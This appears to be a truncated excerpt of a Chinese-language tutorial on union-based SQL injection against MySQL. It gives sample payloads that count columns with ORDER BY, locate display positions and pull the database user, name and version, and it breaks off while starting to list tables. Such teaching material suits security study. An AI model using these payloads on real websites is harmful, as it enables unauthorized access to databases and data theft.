sql注入之——mysql的四大注入基本注入手法

union類型的sql注入(聯合查詢注入) 條件： 頁面必須有顯示位 判斷列數： 1’ order by 3-- - 不存在返回錯誤 判斷顯示位: -1’ union select 1,2,3-- - 查看數據庫： -1’ union select user(),database(),version()-- - 查看數據庫有哪些表 (爆數據表)table_schema='數據庫名’ -1’ uni

>>阅读原文<<